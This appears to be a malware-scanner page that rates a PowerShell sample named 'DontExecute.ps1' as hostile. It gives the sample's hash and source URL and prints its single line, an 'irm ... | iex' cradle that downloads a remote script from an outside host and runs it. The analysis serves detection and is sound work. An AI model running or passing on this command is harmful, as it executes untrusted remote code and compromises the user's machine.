Hostile 92% Download

DontExecute.ps1

Remote code execution

HTTPS IRM response piped to IEXOne-line HTTPS IRM cradle evaluates code
SHA-256907e4ca33baf5b0a8f9b0c1400843fcefbbe0f9acd34e209f660ef6bcd5522a0
URLhttps://tria.ge/api/v0/samples/261001-2w8thsty3q/sample
MaleculeO(C)H₂(CmPo)

Evidence

Remote IRM response piped to IEX line 1
1irm https://axqua.com/install.ps1 | iex

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.